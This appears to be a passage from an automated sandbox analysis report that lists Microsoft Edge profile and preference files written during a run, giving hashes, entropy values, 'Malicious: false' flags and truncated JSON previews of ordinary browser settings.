File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQan:YQ3Kq9X0dMgAEwjM
MD5:	961E3604F228B0D10541EBF921500C86
SHA1:	6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
SHA-256:	F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
SHA-512:	535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\b8f64198-15bf-47fb-8583-a08e4af0a4da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.513831201588747
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtV03WMFGCbXuOCdLqP2yikkJdXBuBuwBFaAkENhZmEjXWLQQRZ:YuBqDPafc3F5bXuOsOkXgBzBFfZ3j9B0
MD5:	C69BC30F6858B07FB35F391D0794724C
SHA1:	FA79454782A7BD0383DB3CF298AB6E2963BD1B66
SHA-256:	A91DD37D923F33C9A610A8A0D96A805796046111C6CAE0AC54E97ECA18700FED
SHA-512:	4AB9D667D6B894A0BF426EF31D9DD56A61BDDAE43CDF515283A008FFF4B91E6660CB04DFED1AC7E2EAC2AA36F27B05CB8FCF4214E96FAF7602844D3C2BCA0377
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"profile":{"info_cache":{},"profile_counts_reported":"13369633755091019","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725160155"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\cba0dcf9-e923-48b5-845c-6cbd95e7e3ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20985
Entropy (8bit):	6.062786331881578
Encrypted:	false
SSDEEP:	384:itMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSWPswB77Dzkev6KtFY0DFBo:2MGQ7FCYXGIgtDAWtJ4nIswB77nkev6/
MD5:	E0B3B252F2145F3CB5D4D6E24020F6ED
SHA1:	B741A2AAC94BA0A64C80086AA0485D0BBB238A19
SHA-256:	26F6C274F754F04DE2B5931316AF4A465765030EE3E101977612C13052E9D6F8
SHA-512:	DE59A3FB21BBD47ADDC151AF2E6076625CCA69DB004041A54224B6B56BF29AFF11F65AA8DB28CF87B1B64EBD238147938AE3919A751CBEB9E864F411BB6E3EE2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369633756681638","domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3fKpCZl+2D91MLf04NPNNUni9BZmDP4Sfjk2Ig7ktgg8r8InfhHz//zSP7e8bquWlsDJ411j

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\e2ee47ba-5606-46b4-91ae-8e400346dd0e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3335
Entropy (8bit):	5.601852184546575
Encrypted:	false
SSDEEP:	96:0q8NkC1fc1BXx6AVkBXRzv3p+WJk7cmSDS4S4SDSR8I4a:/8NbKIT+Ck7qJ
MD5:	02169272AD862A8DDB743276F0EB5B44
SHA1:	57FF4052F60EF294077024063CB8ECBEE85D6A8B
SHA-256:	A16E31D4E0BBD814AD02388453F8A50E64B9A5FC8C5D849AB2792B5404AFECD7
SHA-512:	84A82921BA5E2E6CC482223CF29438967ACD7EA31264196969051C3E75B66532A081CFD28CF109AA2B084BE24F940D2898BE6720B7796586C62534FFFEBCE8C6
Malicious:	false
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"policy":{"last_statist

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\e4118a48-e13c-4aac-9602-80db50bc4dbb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20985
Entropy (8bit):	6.062778684640726
Encrypted:	false
SSDEEP:	384:itMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSAPswB77Dzkev6KtFY0DFBo:2MGQ7FCYXGIgtDAWtJ4naswB77nkev6/
MD5:	EB6DD00E3A4DE4528EB3E1CAF0A4DC23
SHA1:	0528E39C08338D3A869DC84E3AD4C04E9914AB99
SHA-256:	1CB4650C182F96BDD4404F69CCACD69A03D4FFBEF42A9233366EF16ABED59475
SHA-512:	40227F5E07DB3882ABA0FC54B76471760D5C48B1B61213282A25807F2B56CB07A2E5B502DCE5E3F28D8A7D8D09F105E972B9E7A3902059B2809A55F2E75E2CB1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369633756681638","domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3fKpCZl+2D91MLf04NPNNUni9BZmDP4Sfjk2Ig7ktgg8r8InfhHz//zSP7e8bquWlsDJ411j

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ebb984a3-141b-45ee-9374-6c78496ab289.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4235
Entropy (8bit):	5.487609437091059
Encrypted:	false
SSDEEP:	96:0q8NkGS1fc1BXx658rh/cI9URoDotoxIJBXRzv3p+WJk7cmSDS4S4SDSR8I4a:/8NBSK5eoDUjT+Ck7qJ
MD5:	A869C8BD3353F35A3C1E84A3573CEE6B
SHA1:	83C92EC76BAFF57C12A893C73BE561283267695D
SHA-256:	A5A6C9B3966ABA5F330B1F4750DC80CFD492462618E593852EACA23287F1FA00
SHA-512:	5A0D34538B180A477F38F99798BEF3756BBB067BEAF30EF586EFA609C7540042B4A92705DA098A701650F77C920B4D60987012E98CF5FE17ECDBC54F19EB694E
Malicious:	false
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ff11b226-6867-4072-b4a0-6fc9dceaf8e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2958
Entropy (8bit):	5.576601150038537
Encrypted:	false
SSDEEP:	48:YuBqDPEFMsFiHC0afc3F5bXuOsO6XkHB+edrxHzvBFQlRfDaJkXLcD/wlR/X/3B0:Xq8NkC1fc1BXx6+BXRzv32fWJk7cYn3q
MD5:	B9B8AF2502F1D682AA63F1D384F97F8A
SHA1:	247D4C162118C4AA574F5C334A183A0969E6BD1F
SHA-256:	6F9069F49CA6A26C1F6C95F32F9125E28511210BE1E2C2AE9D3E32F6E5C2F793
SHA-512:	D92DD80429E1CAF50E256DCFC62A8E5F35ED06737B26D183FE92756DDD6DC5928A437DB3882B88786C02896B4A96FF3A60D39A8F67C751606896D26733C7B418
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACTBOgP+Yj8yeYxGPnwwREJE+WzDLFsJadELbhUfOZwhAAAAAAOgAAAAAIAACAAAABpYmQk/FhYVwQoxWklAOCbawUgGiPwnYnBktayJbRMKTAAAADPKnanVLbixm++Ju2yh2KGt3LV05yPzjX9WESAae5GdM5rb3gVI2Q7rgb9KsmoSp9AAAAAEPlqSHqY9tGNkhXkyiqT9acxD/os9iT6yegoE8ltb++5GQLdAH3twmrU23NuKJ7/OtC3/oVc1jbQf2lcGlZs3g=="},"policy":{"last_statistics_update":"13369633755124631"},"profile":{"info_ca

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0cd80ba7-d14d-4bcb-877d-f2a9da30b906.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\36d0e254-15ae-4dbe-9f38-d7623fffd484.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9432
Entropy (8bit):	5.832172515614046
Encrypted:	false
SSDEEP:	192:fsNwU4ISeiRULIo1fQ58y7k7F96qRAq1k8SPxVLZ7VTiB:fsNwhvCIQI5z47F96q3QxVNZTiB
MD5:	6731C1EB2192CBDF4B23727E7FEA4B41
SHA1:	9F90F52EAAEA3862AEA15AC38BF810BB2CDDDB63
SHA-256:	16BE0212718F03F90D8C14FFE86FB1BF3B65375E33FB49755AAF2D81CEFA4B23
SHA-512:	4870A4A83F7781E959DE441B0159812D73148AA079875391F89CEE75E7094BB599A6F6703B72EBB401F95C945A20D84D6B20F41C621DABE7EEF89DEEA1810BB9
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3f8e383f-2eab-4cd9-aac3-23a5b6fbb57f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	9432
Entropy (8bit):	5.832321856469372
Encrypted:	false
SSDEEP:	192:fsNwU4ISeiRULIo1fQ5LjUk7F96qRAq1k8SPxVLZ7VTiB:fsNwhvCIQI53v7F96q3QxVNZTiB
MD5:	A9D3945CC853C9A80F2CC63312B37195
SHA1:	ACF44231BA0BD9B12FCAEA3C7998F4E5EA9A19CA
SHA-256:	22C97389915907D636F09B2BFF991B87C4E5FA06F38B84EC4CAC90E2CC5AFC92
SHA-512:	BE6C5CAB663DEF381957766BCF35F6265827B5AFA99DCF6AB987B95B9D61DC41FFC3FDA3BB86AF58505CF30839096143FC43CA3CE8E86C2C085A0261434BBA8C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4bb9a6d6-a96a-455b-a732-dbc69aad42f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8251
Entropy (8bit):	5.8049796909772065
Encrypted:	false
SSDEEP:	192:fsNAU4ISeiRUwITQ0k7Q6qRAq1k8SPxVLZ7VTiQ:fsNAhvPIUP7Q6q3QxVNZTiQ
MD5:	3484974CBA60DA87E58B5BB0DA7B353E
SHA1:	4B73AE8514BE6C7C9F50CCE85DFF737DDB0DD65C
SHA-256:	B7F41CDD8B7C2ECEF120D0396CE5EB565EDAD7F8D7DB6F8FD2618E5D6C937D58
SHA-512:	D5E7C496F4F210A676282D26765BD4BA9BE7A91ED2F9C4CC97B0612257D647BB5582A291E0817310F4D78F3DEB6C8A7E37A562451B856C44C8A5C091127BF03D
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Ve

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6cd9a2dd-751d-4878-894d-beb9659b9b1a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8333
Entropy (8bit):	5.798731509222673
Encrypted:	false
SSDEEP:	192:fsNwU4ISeiRULIuQquk7Q6qRAq1k8SPxVLZ7VTiB:fsNwhvCIvq97Q6q3QxVNZTiB
MD5:	593D29149561984BC39A79A04D82DA8B
SHA1:	75995B49DE1310B1665B2F36EDB3AA5BD1984712
SHA-256:	A38C04AB4926DC3DB75CEFC119A8574A32673C79AC931F90C586DE496540D479
SHA-512:	C9F884DDA0356D2E3A1CCF21E5C994F8D32C71B6D3679FA0CA2C88616EAE15B7622CC57FB542FFF6DBE5360FF566EAED745E5264CDA95FC359600E8B01AE46FC
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\76b5d917-568c-4aeb-9c4e-c8c394e734ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8333
Entropy (8bit):	5.798764355117239
Encrypted:	false
SSDEEP:	192:fsNwU4ISeiRULITQ0k7Q6qRAq1k8SPxVLZ7VTiQ:fsNwhvCIUP7Q6q3QxVNZTiQ
MD5:	B54398C548E79161DA385C2F82316A2E
SHA1:	CF37192715A6F9172D204AF426E9C16880731088
SHA-256:	A270ABB5E568AECEE7EE684A082A6DA9FBC2FAECDDE9A934ED9B67D8ADDA01D0
SHA-512:	94464E020C0025C9F0922B08663246B4EC75CB28779B217DA9C0282190D9DFEECFD124523039C16D86A1F940FD92E37FE5131DCAAAD447A777FEECD4FB424689
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\89a80bc4-713b-4fd5-9f33-5beeebdfcb61.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22003
Entropy (8bit):	6.058572498147995
Encrypted:	false
SSDEEP:	384:0tMGQ7LBjuYXGIgtDAW5u0TDJ2q03XsNwc0U/aP7/+Mh0lkdHd5qj:EMGQ7FCYXGIgtDAWtJ4n2aP7Th02tdQ
MD5:	DEC6365148CDD6C5137822CD8CD8DC4B
SHA1:	F46B48FF568299B6D1124C8776C19B0F21EFDD67
SHA-256:	3EF0E33EB3979EDB58AF200F8D6CBE366C0BB04EA117E5B357082D03E31DAEA8
SHA-512:	B769DB046A7E09E4F8AAF7CB3BF991EEFD0E7EFEBC7B42233C3C3F1002C0519BB242E57A138DF6F03385E1B4CE42B84C56FE2A0648DD3BB81B2BB0BB52E6E347
Malicious:	false
